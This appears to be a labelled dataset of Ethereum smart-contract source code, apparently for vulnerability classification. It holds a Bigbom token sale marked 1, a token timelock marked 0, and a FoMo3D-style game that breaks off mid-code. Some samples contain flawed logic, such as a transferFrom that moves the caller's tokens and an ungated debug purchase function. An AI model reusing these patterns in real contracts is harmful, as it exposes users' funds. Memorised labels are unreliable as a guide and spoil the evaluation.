source_codes
stringlengths
72
160k
labels
int64
0
1
__index_level_0__
int64
0
4.4k
library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed _from, address indexed _to, uint _value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract BigbomContributorWhiteList is Ownable { mapping(address=>uint) public addressMinCap; mapping(address=>uint) public addressMaxCap; function BigbomContributorWhiteList() public {} event ListAddress( address _user, uint _mincap, uint _maxcap, uint _time ); function listAddress( address _user, uint _mincap, uint _maxcap ) public onlyOwner { require(_mincap <= _maxcap); require(_user != address(0x0)); addressMinCap[_user] = _mincap; addressMaxCap[_user] = _maxcap; ListAddress( _user, _mincap, _maxcap, now ); } function listAddresses( address[] _users, uint[] _mincap, uint[] _maxcap ) public onlyOwner { require(_users.length == _mincap.length ); require(_users.length == _maxcap.length ); for( uint i = 0 ; i < _users.length ; i++ ) { listAddress( _users[i], _mincap[i], _maxcap[i] ); } } function getMinCap( address _user ) public constant returns(uint) { return addressMinCap[_user]; } function getMaxCap( address _user ) public constant returns(uint) { return addressMaxCap[_user]; } } contract BigbomPrivateSaleList is Ownable { mapping(address=>uint) public addressCap; function BigbomPrivateSaleList() public {} event ListAddress( address _user, uint _amount, uint _time ); function listAddress( address _user, uint _amount ) public onlyOwner { require(_user != address(0x0)); addressCap[_user] = _amount; ListAddress( _user, _amount, now ); } function listAddresses( address[] _users, uint[] _amount ) public onlyOwner { require(_users.length == _amount.length ); for( uint i = 0 ; i < _users.length ; i++ ) { listAddress( _users[i], _amount[i] ); } } function getCap( address _user ) public constant returns(uint) { return addressCap[_user]; } } contract BigbomToken is StandardToken, Ownable { string public constant name = "Bigbom"; string public constant symbol = "BBO"; uint public constant decimals = 18; uint public totalSupply = 2000000000 * 1e18; uint public constant founderAmount = 200000000 * 1e18; uint public constant coreStaffAmount = 60000000 * 1e18; uint public constant advisorAmount = 140000000 * 1e18; uint public constant networkGrowthAmount = 600000000 * 1e18; uint public constant reserveAmount = 635000000 * 1e18; uint public constant bountyAmount = 40000000 * 1e18; uint public constant publicSaleAmount = 275000000 * 1e18; address public bbFounderCoreStaffWallet ; address public bbAdvisorWallet; address public bbAirdropWallet; address public bbNetworkGrowthWallet; address public bbReserveWallet; address public bbPublicSaleWallet; uint public saleStartTime; uint public saleEndTime; address public tokenSaleContract; BigbomPrivateSaleList public privateSaleList; mapping (address => bool) public frozenAccount; mapping (address => uint) public frozenTime; mapping (address => uint) public maxAllowedAmount; event FrozenFunds(address target, bool frozen, uint _seconds); function checkMaxAllowed(address target) public constant returns (uint) { var maxAmount = balances[target]; if(target == bbFounderCoreStaffWallet){ maxAmount = 10000000 * 1e18; } if(target == bbAdvisorWallet){ maxAmount = 10000000 * 1e18; } if(target == bbAirdropWallet){ maxAmount = 40000000 * 1e18; } if(target == bbNetworkGrowthWallet){ maxAmount = 20000000 * 1e18; } if(target == bbReserveWallet){ maxAmount = 6350000 * 1e18; } return maxAmount; } function selfFreeze(bool freeze, uint _seconds) public { require(_seconds <= 7 * 24 * 3600); if(!freeze){ var frozenEndTime = frozenTime[msg.sender]; require (now >= frozenEndTime); frozenAccount[msg.sender] = freeze; _seconds = 0; }else{ frozenAccount[msg.sender] = freeze; } frozenTime[msg.sender] = now + _seconds; FrozenFunds(msg.sender, freeze, _seconds); } function freezeAccount(address target, bool freeze, uint _seconds) onlyOwner public { if(!freeze){ var frozenEndTime = frozenTime[target]; require (now >= frozenEndTime); frozenAccount[target] = freeze; _seconds = 0; }else{ frozenAccount[target] = freeze; } frozenTime[target] = now + _seconds; FrozenFunds(target, freeze, _seconds); } modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this) ); require(!frozenAccount[to]); _; } modifier validFrom(address from){ require(!frozenAccount[from]); _; } modifier onlyWhenTransferEnabled() { if( now <= saleEndTime && now >= saleStartTime ) { require( msg.sender == tokenSaleContract ); } _; } modifier onlyPrivateListEnabled(address _to){ require(now <= saleStartTime); uint allowcap = privateSaleList.getCap(_to); require (allowcap > 0); _; } function setPrivateList(BigbomPrivateSaleList _privateSaleList) onlyOwner public { require(_privateSaleList != address(0x0)); privateSaleList = _privateSaleList; } function BigbomToken(uint startTime, uint endTime, address admin, address _bbFounderCoreStaffWallet, address _bbAdvisorWallet, address _bbAirdropWallet, address _bbNetworkGrowthWallet, address _bbReserveWallet, address _bbPublicSaleWallet ) public { require(admin!=address(0x0)); require(_bbAirdropWallet!=address(0x0)); require(_bbAdvisorWallet!=address(0x0)); require(_bbReserveWallet!=address(0x0)); require(_bbNetworkGrowthWallet!=address(0x0)); require(_bbFounderCoreStaffWallet!=address(0x0)); require(_bbPublicSaleWallet!=address(0x0)); balances[msg.sender] = totalSupply; Transfer(address(0x0), msg.sender, totalSupply); bbAirdropWallet = _bbAirdropWallet; bbAdvisorWallet = _bbAdvisorWallet; bbReserveWallet = _bbReserveWallet; bbNetworkGrowthWallet = _bbNetworkGrowthWallet; bbFounderCoreStaffWallet = _bbFounderCoreStaffWallet; bbPublicSaleWallet = _bbPublicSaleWallet; saleStartTime = startTime; saleEndTime = endTime; transferOwnership(admin); } function setTimeSale(uint startTime, uint endTime) onlyOwner public { require (now < saleStartTime || now > saleEndTime); require (now < startTime); require ( startTime < endTime); saleStartTime = startTime; saleEndTime = endTime; } function setTokenSaleContract(address _tokenSaleContract) onlyOwner public { require(_tokenSaleContract != address(0x0)); require (now < saleStartTime || now > saleEndTime); tokenSaleContract = _tokenSaleContract; } function transfer(address _to, uint _value) onlyWhenTransferEnabled validDestination(_to) validFrom(msg.sender) public returns (bool) { if (msg.sender == bbFounderCoreStaffWallet || msg.sender == bbAdvisorWallet|| msg.sender == bbAirdropWallet|| msg.sender == bbNetworkGrowthWallet|| msg.sender == bbReserveWallet){ var withdrawAmount = maxAllowedAmount[msg.sender]; var defaultAllowAmount = checkMaxAllowed(msg.sender); var maxAmount = defaultAllowAmount - withdrawAmount; require(maxAmount >= _value); if(maxAmount==_value){ var isTransfer = super.transfer(_to, _value); selfFreeze(true, 24 * 3600); maxAllowedAmount[msg.sender] = 0; return isTransfer; }else{ maxAllowedAmount[msg.sender] = maxAllowedAmount[msg.sender].add(_value); } } return super.transfer(_to, _value); } function transferPrivateSale(address _to, uint _value) onlyOwner onlyPrivateListEnabled(_to) public returns (bool) { return transfer( _to, _value); } function transferFrom(address _from, address _to, uint _value) onlyWhenTransferEnabled validDestination(_to) validFrom(_from) public returns (bool) { if (_from == bbFounderCoreStaffWallet || _from == bbAdvisorWallet|| _from == bbAirdropWallet|| _from == bbNetworkGrowthWallet|| _from == bbReserveWallet){ var withdrawAmount = maxAllowedAmount[_from]; var defaultAllowAmount = checkMaxAllowed(_from); var maxAmount = defaultAllowAmount - withdrawAmount; require(maxAmount >= _value); if(maxAmount==_value){ var isTransfer = super.transfer(_to, _value); selfFreeze(true, 24 * 3600); maxAllowedAmount[_from] = 0; return isTransfer; }else{ maxAllowedAmount[_from] = maxAllowedAmount[_from].add(_value); } } return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) onlyWhenTransferEnabled public returns (bool){ balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } function burnFrom(address _from, uint256 _value) onlyWhenTransferEnabled public returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner public { token.transfer( owner, amount ); } } contract BigbomTokenSale { address public admin; address public bigbomMultiSigWallet; BigbomToken public token; uint public raisedWei; bool public haltSale; uint public openSaleStartTime; uint public openSaleEndTime; BigbomContributorWhiteList public list; mapping(address=>uint) public participated; using SafeMath for uint; function BigbomTokenSale( address _admin, address _bigbomMultiSigWallet, BigbomContributorWhiteList _whilteListContract, uint _publicSaleStartTime, uint _publicSaleEndTime, BigbomToken _token) public { require (_publicSaleStartTime < _publicSaleEndTime); require (_admin != address(0x0)); require (_bigbomMultiSigWallet != address(0x0)); require (_whilteListContract != address(0x0)); require (_token != address(0x0)); admin = _admin; bigbomMultiSigWallet = _bigbomMultiSigWallet; list = _whilteListContract; openSaleStartTime = _publicSaleStartTime; openSaleEndTime = _publicSaleEndTime; token = _token; } function saleEnded() public constant returns(bool) { return now > openSaleEndTime; } function saleStarted() public constant returns(bool) { return now >= openSaleStartTime; } function setHaltSale( bool halt ) public { require( msg.sender == admin ); haltSale = halt; } function contributorMinCap( address contributor ) public constant returns(uint) { return list.getMinCap( contributor ); } function contributorMaxCap( address contributor, uint amountInWei ) public constant returns(uint) { uint cap = list.getMaxCap( contributor ); if( cap == 0 ) return 0; uint remainedCap = cap.sub( participated[ contributor ] ); if( remainedCap > amountInWei ) return amountInWei; else return remainedCap; } function checkMaxCap( address contributor, uint amountInWei ) internal returns(uint) { uint result = contributorMaxCap( contributor, amountInWei ); participated[contributor] = participated[contributor].add( result ); return result; } function() payable public { buy( msg.sender ); } function getBonus(uint _tokens) public view returns (uint){ if (now > openSaleStartTime && now <= (openSaleStartTime+3 days)){ return _tokens.mul(25).div(100); } else { return 0; } } event Buy( address _buyer, uint _tokens, uint _payedWei, uint _bonus ); function buy( address recipient ) payable public returns(uint){ require( ! haltSale ); require( saleStarted() ); require( ! saleEnded() ); uint mincap = contributorMinCap(recipient); uint maxcap = checkMaxCap(recipient, msg.value ); uint allowValue = msg.value; require( mincap > 0 ); require( maxcap > 0 ); require (msg.value >= mincap); if( msg.value > maxcap ) { allowValue = maxcap; msg.sender.transfer( msg.value.sub( maxcap ) ); } sendETHToMultiSig(allowValue); raisedWei = raisedWei.add( allowValue ); uint recievedTokens = allowValue.mul( 20000 ); uint bonus = getBonus(recievedTokens); recievedTokens = recievedTokens.add(bonus); assert( token.transfer( recipient, recievedTokens ) ); Buy( recipient, recievedTokens, allowValue, bonus ); return msg.value; } function sendETHToMultiSig( uint value ) internal { bigbomMultiSigWallet.transfer( value ); } event FinalizeSale(); function finalizeSale() public { require( saleEnded() ); token.burn(token.balanceOf(this)); FinalizeSale(); } function emergencyDrain(ERC20 anyToken) public returns(bool){ require( msg.sender == admin ); require( saleEnded() ); if( this.balance > 0 ) { sendETHToMultiSig( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(bigbomMultiSigWallet, anyToken.balanceOf(this)) ); } return true; } function debugBuy() payable public { require( msg.value > 0 ); sendETHToMultiSig( msg.value ); } }
1
3,944
pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } contract TokenTimelock { using SafeERC20 for IERC20; IERC20 private _token; address private _sender; address private _beneficiary; uint256 private _releaseTime; constructor( IERC20 token, address beneficiary, uint256 releaseTime ) public { require(releaseTime > block.timestamp); _token = token; _sender = msg.sender; _beneficiary = beneficiary; _releaseTime = releaseTime; } function token() public view returns(IERC20) { return _token; } function sender() public view returns(address) { return _sender; } function beneficiary() public view returns(address) { return _beneficiary; } function releaseTime() public view returns(uint256) { return _releaseTime; } function release() public { require((msg.sender == _sender) || (msg.sender == _beneficiary), "thou shall not pass!"); require(block.timestamp >= _releaseTime, "not yet."); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "zero balance"); _token.safeTransfer(_beneficiary, amount); } function cancel() public { require(msg.sender == _sender, "Only sender can do this"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "zero balance"); _token.safeTransfer(_sender, amount); } }
0
327
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract GrandTheftFOMO is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xC3647e8a2a7E2458ADc5f53b14BBEE1DAe1d7744); address private admin = msg.sender; string constant public name = "Grand Theft FOMO"; string constant public symbol = "GTF"; uint256 private rndExtra_ = 1 minutes; uint256 private rndGap_ = 1 minutes; uint256 constant private rndInit_ = 12 hours; uint256 constant private rndInc_ = 5 minutes; uint256 constant private rndMax_ = 12 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(51,0); fees_[1] = F3Ddatasets.TeamFee(51,0); fees_[2] = F3Ddatasets.TeamFee(51,0); fees_[3] = F3Ddatasets.TeamFee(51,0); potSplit_[0] = F3Ddatasets.PotSplit(51,0); potSplit_[1] = F3Ddatasets.PotSplit(51,0); potSplit_[2] = F3Ddatasets.PotSplit(51,0); potSplit_[3] = F3Ddatasets.PotSplit(51,0); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000) { uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 